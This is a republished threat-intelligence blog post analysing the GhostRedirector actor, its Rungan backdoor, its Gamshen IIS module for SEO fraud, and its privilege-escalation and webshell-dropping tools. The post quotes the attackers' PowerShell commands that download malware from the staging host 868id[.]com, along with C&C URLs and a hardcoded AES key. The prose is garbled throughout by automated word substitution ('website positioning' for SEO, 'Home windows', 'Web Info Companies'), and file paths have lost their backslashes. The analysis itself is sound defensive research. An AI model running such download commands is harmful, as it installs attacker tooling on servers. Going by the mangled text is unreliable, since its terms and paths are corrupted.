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ESET researchers have recognized a brand new risk actor, whom we’ve named GhostRedirector, that compromised a minimum of 65 Home windows servers primarily in Brazil, Thailand, and Vietnam. GhostRedirector used two beforehand undocumented, customized instruments: a passive C++ backdoor that we named Rungan, and a malicious Web Info Companies (IIS) module that we named Gamshen.

Whereas Rungan has the potential of executing instructions on a compromised server, the aim of Gamshen is to offer website positioning fraud as-a-service, i.e., to control search engine outcomes, boosting the web page rating of a configured goal web site. Regardless that Gamshen solely modifies the response when the request comes from Googlebot – i.e., it doesn’t serve malicious content material or in any other case have an effect on common guests of the web sites – participation within the website positioning fraud scheme can damage the compromised host web site status by associating it with shady website positioning methods and the boosted web sites.

Curiously, Gamshen is carried out as a local IIS module – IIS (Web Info Companies) is Microsoft’s Home windows net server software program, which has a modular structure supporting two forms of extensions: native (C++ DLL) and managed (.NET meeting). There are various kinds of malware that may abuse this expertise; our 2021 white paper Anatomy of native IIS malware gives a deep perception into the forms of native IIS threats and their structure. Gamshen falls underneath the class of a trojan with the principle objective of facilitating website positioning fraud, much like IISerpent, which we documented beforehand.

Moreover Rungan and Gamshen, GhostRedirector additionally makes use of a sequence of different customized instruments, in addition to the publicly identified exploits EfsPotato and BadPotato, to create a privileged person on the server that can be utilized to obtain and execute different malicious parts with increased privileges, or used as a fallback in case the Rungan backdoor or different malicious instruments are faraway from the compromised server. We imagine with medium confidence {that a} China-aligned risk actor was behind these assaults. On this blogpost we offer perception into the GhostRedirector arsenal used to compromise its victims.

Key factors of this blogpost:

• We noticed a minimum of 65 Home windows servers compromised in June 2025.
• Victims are primarily positioned in Brazil, Thailand, and Vietnam.
• Victims aren’t associated to at least one particular sector however to a range comparable to insurance coverage, healthcare, retail, transportation, expertise, and training.
• GhostRedirector has developed a brand new C++ backdoor, Rungan, able to executing instructions on the sufferer’s server.
• GhostRedirector has developed a malicious native IIS module, Gamshen, that may carry out website positioning fraud; we imagine its objective is to artificially promote varied playing web sites.
• GhostRedirector depends on public exploits comparable to BadPotato or EfsPotato for privilege escalation on compromised servers.
• Primarily based on varied components, we conclude with medium confidence {that a} beforehand unknown, China-aligned risk actor was behind these assaults. We’ve got named it GhostRedirector.

Attribution

We haven’t been capable of attribute this assault to any identified group; thus we coined the brand new identify GhostRedirector, to cluster all actions documented on this blogpost. These actions began in December of 2024, however we have been capable of uncover different associated samples that lead us imagine that GhostRedirector has been lively since a minimum of August 2024.

GhostRedirector has an arsenal that features the passive C++ backdoor Rungan, the malicious IIS trojan Gamshen, and quite a lot of different utilities. We’ve got clustered these instruments collectively by:

• their presence on the identical compromised server throughout the similar timeframe,
• a shared staging server, and
• similarities within the PDB paths of varied GhostRedirector instruments, as defined under.

We imagine with medium confidence that GhostRedirector is a China-aligned risk actor, primarily based on the next components:

• a number of samples of GhostRedirector instruments have hardcoded Chinese language strings,
• a code-signing certificates issued to a Chinese language firm was used within the assault, and
• one of many passwords for GhostRedirector-created customers on the compromised server comprises the phrase huang, which is Chinese language for yellow.

GhostRedirector will not be the primary identified case of a China-aligned risk actor partaking in website positioning fraud through malicious IIS modules. Final 12 months, Cisco Talos revealed a blogpost a couple of China-aligned risk actor known as DragonRank that conducts website positioning fraud. There’s some overlap within the sufferer geolocation (Thailand, India, and the Netherlands) and sectors (healthcare, transportation, and IT) in each assaults. Nevertheless, it’s probably that these have been opportunistic assaults, exploiting as many weak servers as doable, fairly than concentrating on a selected set of entities. Moreover these similarities, we don’t have any motive to imagine that DragonRank and GhostRedirector are linked, so we observe these actions individually.

Victimology

Determine 1 exhibits a heatmap of the affected nations, combining information from two sources:

• ESET telemetry, the place we detected these assaults between December 2024 and April 2025, and
• our internet-wide scan from June 2025 that we ran to get a greater understanding of the size of the assault, and that allowed us to establish extra victims.

We notified all of the victims that we recognized by our web scan concerning the compromise.

With all of the collected info, we discovered that a minimum of 65 Home windows servers have been compromised worldwide. Many of the affected servers are in Brazil, Peru, Thailand, Vietnam, and the USA. Notice that many of the compromised servers positioned within the USA seem to have been rented to firms which can be primarily based in nations from the earlier listing. We imagine that GhostRedirector was extra excited by concentrating on victims in South America and South Asia.

Additionally, we noticed a small variety of circumstances in:

• Canada,
• Finland,
• India,
• the Netherlands,
• the Philippines, and
• Singapore.

GhostRedirector doesn’t appear to be excited by a specific vertical or sector; we’ve seen victims in sectors comparable to training, healthcare, insurance coverage, transportation, expertise, and retail.

Preliminary entry

Primarily based on ESET telemetry, we imagine that GhostRedirector good points preliminary entry to its victims by exploiting a vulnerability, in all probability an SQL Injection. Then it makes use of PowerShell to obtain varied malicious instruments – all from the identical staging server, 868id[.]com. In some circumstances, we’ve seen the attackers leveraging a unique LOLBin, CertUtil, for a similar objective.

This conjecture is supported by our commentary that almost all unauthorized PowerShell executions originated from the binary sqlserver.exe, which holds a saved process xp_cmdshell that can be utilized to execute instructions on a machine.

The next are examples of instructions that we detected being executed on the compromised servers:

• cmd.exe /d /s /c ” powershell curl  https://xzs.868id[.]com/EfsNetAutoUser_br.exe -OutFile C:ProgramDataEfsNetAutoUser_br.exe”
• cmd.exe /d /s /c ” powershell curl  http://xz.868id[.]com/EfsPotato_sign.exe -OutFile C:ProgramDataEfsPotato_sign.exe”
• cmd.exe /d /s /c “powershell curl  https://xzs.868id[.]com/hyperlink.exe  -OutFile C:ProgramDatalink.exe”
• powershell  curl  https://xzs.868id[.]com/iis/br/ManagedEngine64_v2.dll -OutFile  C:ProgramDataMicrosoftDRMlogManagedEngine64.dll
• powershell  curl https://xzs.868id[.]com/iis/IISAgentDLL.dll -OutFile  C:ProgramDataMicrosoftDRMlogminiscreen.dll

We additionally encountered that GhostRedirector put in GoToHTTP on the compromised net server, after downloading it from the identical staging server. GoToHTTP is a benign software that enables establishing a distant connection that may be accessed from a browser.

GhostRedirector used the listing C:ProgramData to put in its malware, significantly for the C++ backdoor and the IIS trojan they use the listing C:ProgramDataMicrosoftDRMlog.

Assault overview

An summary of the assault is proven in Determine 2. Attackers compromise a Home windows server, obtain and execute varied malicious instruments: a privilege escalation software, malware that drops a number of webshells, the passive C++ backdoor Rungan, or the IIS trojan Gamshen. The aim of the privilege escalation instruments is to create a privileged person within the Directors group, so GhostRedirector can then leverage this account to execute privileged operations, or as a fallback in case the group loses entry to the compromised server.

Pernicious Potatoes performing privilege escalation

As a part of its arsenal, GhostRedirector created a number of instruments that leverage the native privilege escalation (LPE) tactic, probably primarily based on public EfsPotato and BadPotato exploits. Nearly the entire analyzed samples have been obfuscated with .NET Reactor, with a number of layers of obfuscation. Among the samples have been validly signed with a code-signing certificates issued by TrustAsia RSA Code Signing CA G3, to 深圳市迪元素科技有限公司 (Shenzhen Diyuan Know-how Co., Ltd.), and with a thumbprint of BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C.

The primary objective of those samples was to create or modify a person account on the compromised server and add it to the Directors group.

Throughout our evaluation, we extracted from the analyzed samples the next usernames that have been used within the creation of those malicious administrator customers.

• MysqlServiceEx
• MysqlServiceEx2
• Admin

Determine 3 exhibits the decompiled code utilized by these samples to create a person after profitable LPE exploitation. The password has been redacted for safety functions.

As seen in Determine 3, these privilege escalation instruments use a customized C# class named CUserHelper. This class is carried out in a DLL named Frequent.International.DLL (SHA-1: 049C343A9DAAF3A93756562ED73375082192F5A8), which we named Comdai and that was embedded within the analyzed samples. We imagine that Comdai was created by the identical builders as the remainder of the GhostRedirector arsenal, primarily based on the shared sample of their respective PDB paths – see the repeated x5 substring as proven in Desk 1, which is shared between Rungan, Gamshen, and the privilege escalation instruments.

Desk 1. PDB strings collected from GhostRedirector instruments

Desk 2 gives an outline of the vital courses carried out in Comdai which can be utilized by GhostRedirector’s varied privilege escalation instruments, together with the outline of the category habits. Notice the ExeHelper class, which gives a operate to execute a file named hyperlink.exe – GhostRedirector used the identical filename to deploy the GoToHTTP software.

Additionally be aware the backdoor-like capabilities, together with community communication, file execution, listing itemizing, and manipulating companies and Home windows registry keys. Whereas we haven’t noticed these strategies being utilized by any identified GhostRedirector parts, this exhibits that Comdai is a flexible software that may help varied levels of the assault.

Desk 2. Courses carried out in Comdai

Some exceptions to the rule

We found a pattern (SHA-1: 21E877AB2430B72E3DB12881D878F78E0989BB7F) utilizing the identical certificates, uploaded to VirusTotal in August 2024, which we imagine is said to GhostRedirector’s arsenal, though we didn’t see it used throughout this marketing campaign. This assumption relies on the habits of the pattern, which tries to open a textual content file and ship its contents to a hardcoded URL. For this, the pattern comprises an embedded Comdai DLL and it invokes the Comdai C# class HttpHelper, which has a hardcoded URL that’s https://www.cs01[.]store – the identical area talked about in Desk 2.

We additionally found some privilege escalation instruments that differ a bit of from the habits talked about beforehand.

For instance, in a single case (SHA-1: 5A01981D3F31AF47614E51E6C216BED70D921D60), as an alternative of making a brand new person, it modifications the password of an present person Visitor for one hardcoded within the malware after which, utilizing the RID hijacking approach, it makes an attempt so as to add this person to the administrator teams.

In one other case (SHA-1: 9DD282184DDFA796204C1D90A46CAA117F46C8E1), the software not solely creates a brand new administrator person but in addition installs a number of webshells on a selected path within the sufferer’s servers, offered manually by GhostRedirector as an argument to the software.

These webshells are embedded within the assets of the pattern in cleartext, and the names are hardcoded; the names we noticed used are:

• C1.php
• Cmd.aspx
• Error.aspx
• K32.asxp
• K64.aspx
• LandGrey.asp

Zunput, a web site info collector plus webshell dropper

One other fascinating software utilized by GhostRedirector had the filename SitePuts.exe. This pattern (SHA‑1: EE22BA5453ED577F8664CA390EB311D067E47786), which we named Zunput, can be developed with the .NET Framework and signed with the certificates talked about above; it reads the IIS configuration system in search of configured web sites and obtains the next details about them:

• bodily path on the server,
• identify, and
• for every website, the next attributes:

  ○ protocol

  ○ IP deal with, and

  ○ hostname

As soon as the knowledge is collected, Zunput checks for the existence of the bodily path on the server, and likewise verifies that the listing comprises a minimum of one file with the .php, .aspx, or .asp extension. This fashion, Zunput solely targets lively web sites able to executing dynamic content material – solely in these directories does it then drop the embedded webshells. Webshells are embedded within the assets of the pattern and for the dates of every webshell (creation, modified, accessed), the malware makes use of the date of an present file from the listing.

Webshells are written in ASP, PHP, and JavaScript, and the names used are chosen randomly from the next listing:

• Xml
• Ajax
• Sync
• Loadapi
• Loadhelp
• Code
• Jsload
• Loadcss
• Loadjs
• Pop3
• Imap
• Api

Extensions used for the webshells:

Info collected throughout Zunput execution is saved in a file named log.txt (see an instance in Determine 4) within the listing from which it was executed. This info isn’t exfiltrated robotically by Zunput, however it may be obtained by the attackers by a number of strategies; one might be through the deployed webshell talked about earlier than.

The ultimate payloads

Rungan, a passive C++ backdoor

Rungan (SHA-1: 28140A5A29EBA098BC6215DDAC8E56EACBB29B69) is a passive C/C++ backdoor that we’ve seen put in in C:ProgramDataMicrosoftDRMlogminiscreen.dll.

This backdoor makes use of AES in CBC mode for string decryption. 030201090405060708090A0B0C0D0E0F is used for the IV and key, and primarily based on the malware’s PDB path F:x5AvoidRandomKill-mainx64ReleaseIISAgentDLL.pdb, we imagine that GhostRedirector reuses the AES implementation from the AvoidRandomKill repository.

The primary performance of this backdoor is to register a plaintext hardcoded URL http://+:80/v1.0/8888/sys.html into the compromised server, bypassing IIS by abusing the HTTP Server API. Then the backdoor waits for a request that matches that URL, then parses and executes the acquired instructions on the compromised server.

Extra URLs might be set in an elective configuration file named C:WindowsMicrosoft.NETFramework64v2.0.507271033vbskui.dll. Rungan will hearken to all incoming requests matching the configured patterns, and the configuration might be up to date through a backdoor command. To activate the backdoor, any incoming HTTP request should include a selected mixture of parameters and values, that are hardcoded in Rungan.

As soon as this examine is met, Rungan makes use of the parameter motion to find out the backdoor command, and makes use of the info within the HTTP request physique because the command parameters. No encryption or encoding is used within the C&C protocol. Essentially the most notable capabilities are creating a brand new person or executing instructions on the sufferer’s server; a full listing of backdoor instructions is proven in Desk 3.

Desk 3.Rungan backdoors instructions

Determine 5 and Determine 6 present completely different examples of requests made to the malware throughout a dynamic evaluation utilizing the software postman in a simulated setting.

Gamshen, malicious IIS module

Developed as a C/C++ DLL, Gamshen is a malicious native IIS module. The primary performance of this malware is to intercept requests made to the compromised server from the Googlebot search engine crawler and solely in that case modify the reliable response of the server. The response is modified primarily based on information requested dynamically from Gamshen’s C&C server. By doing this, GhostRedirector makes an attempt to control the Google search rating of a selected, third-party web site, by utilizing manipulative, shady website positioning methods comparable to creating synthetic backlinks from the reliable, compromised web site to the goal web site. We beforehand documented a case of an IIS trojan utilizing comparable techniques: see IISerpent: Malware-driven website positioning fraud as a service.

It is vital to say {that a} common person who visits the affected web site wouldn’t see any modifications and wouldn’t be affected by the malicious habits as a result of Gamshen doesn’t set off any of its malicious exercise on requests from common guests.

Determine 7 exhibits how a malicious module taking part within the IIS website positioning fraud scheme modifies the reliable response of a compromised server when a request is constructed from the Google Crawler, aka Googlebot.

In an effort to do that, the attackers have carried out their very own malicious code for the next IIS occasion handlers:

• OnBeginRequest
• OnPreExecuteRequestHandler
• OnPostExecuteRequestHandler
• OnSendResponse

When the compromised server receives an HTTP request, the request goes by the IIS request processing pipeline, which triggers these handlers in varied steps of the method – notably, the OnSendResponse handler is triggered simply earlier than the HTTP response is distributed out by the compromised server. Since Gamshen is put in as an IIS module, it robotically intercepts every incoming HTTP request at these steps, and performs three actions.

First, it performs a sequence of validations to filter solely HTTP requests of curiosity:

• The request should originate from a Google crawler: both the Person-Agent header comprises the string Googlebot, or the Referer comprises the string google.com.
• The HTTP technique should not be POST.
• The requested useful resource will not be a picture, stylesheet, or comparable static useful resource, i.e., it doesn’t have any of the next extensions: .jpg, .resx, .png, .jpeg, .bmp, .gif, .ico, .css, or .js. That is prone to keep away from breaking UI performance.
• The URL should include the string android_ or match any of the next common expressions:

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})/([a-zA-Z0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)/([0-9_]{6,20})(/|.w+)?

  ○ [/]?(android|performs|articles|particulars|iosapp|topnews|joga)/([a-zA-Z]{8,10})(/|.w+)?

  ○ [/]?([a-zA-Z0-9]{6,8})/([a-zA-Z0-9]{6,8})(/|.phtml|.xhtml|.phtm|.shtml)

  ○ [/]?([a-zA-Z0-9_]{14})(/|.html|.htm)

  ○ [/]?([a-zA-Z0-9]{6})/([a-zA-Z0-9]{8})(/|.html|.htm)

  ○ [/]?([a-z0-9]{6}).xhtml

Second, Gamshen modifies the response meant for the search engine crawler with information obtained from its personal C&C server, brproxy.868id[.]com. We’ve got noticed three URLs getting used for this objective:

• https://brproxy.868id[.]com/index_base64.php?<ORIGINAL_URL>
• https://brproxy.868id[.]com/tz_base64.php?<ORIGINAL_URL>
• https://brproxy.868id[.]com/url/index_base64.php

In all circumstances, the next hardcoded Person-Agent string is used: Mozilla/5.0 (appropriate; Googlebot/2.1; +http://www.google.com/bot.html). A base64-encoded response is predicted, which is then decoded and injected into the HTTP response meant for the search engine crawler.

Lastly, on the final step of the request processing pipeline, simply earlier than the HTTP response is distributed out – the OnSendResponse occasion handler verifies the response for these crawler requests. If the response has the 404 HTTP standing code – i.e., Gamshen had not been capable of get hold of the malicious information from its C&C server, then it as an alternative performs a redirect to a unique C&C server: http://gobr.868id[.]com/tz.php.

We weren’t capable of get hold of a response from brproxy.868id[.]com or gobr.868id[.]com, however imagine the info helps shady website positioning methods – comparable to key phrase stuffing, inserting malicious backlinks – or, in case of the redirection, making the search engine affiliate the compromised web site with the goal, third-party web site, thus poisoning the search index.

We have been, nevertheless, capable of pivot on these domains on VirusTotal and discover associated pictures – on this case, pictures promoting a playing utility for Portuguese talking customers. We imagine this web site is the beneficiary of the website positioning fraud scheme, facilitated by this malicious IIS module – Gamshen in all probability makes an attempt to compromise as many web sites as doable and misuse their status to drive site visitors to this third-party web site.

Determine 8 and Determine 9 present two pictures doubtlessly utilized by GhostRedirector in its website positioning fraud scheme.

Conclusion

On this blogpost, we’ve introduced a beforehand unknown, China-aligned risk actor, GhostRedirector, and its toolkit for compromising and abusing Home windows servers. Along with enabling distant command execution on the compromised servers, GhostRedirector additionally deploys a malicious IIS module, Gamshen, designed to control Google search outcomes by shady website positioning techniques. Gamshen abuses the credibility of the web sites hosted on the compromised server to advertise a third-party, playing web site – doubtlessly a paying shopper taking part in an website positioning fraud as-a-service scheme.

GhostRedirector additionally demonstrates persistence and operational resilience by deploying a number of distant entry instruments on the compromised server, on high of making rogue person accounts, all to take care of long-term entry to the compromised infrastructure.

Mitigation suggestions might be present in our complete white paper. For any inquiries, or to make pattern submissions associated to the topic, contact us at threatintel@eset.com.

IoCs

A complete listing of indicators of compromise (IoCs) and samples might be present in our GitHub repository.

Recordsdata

Community

MITRE ATT&CK methods

This desk was constructed utilizing model 17 of the MITRE ATT&CK framework.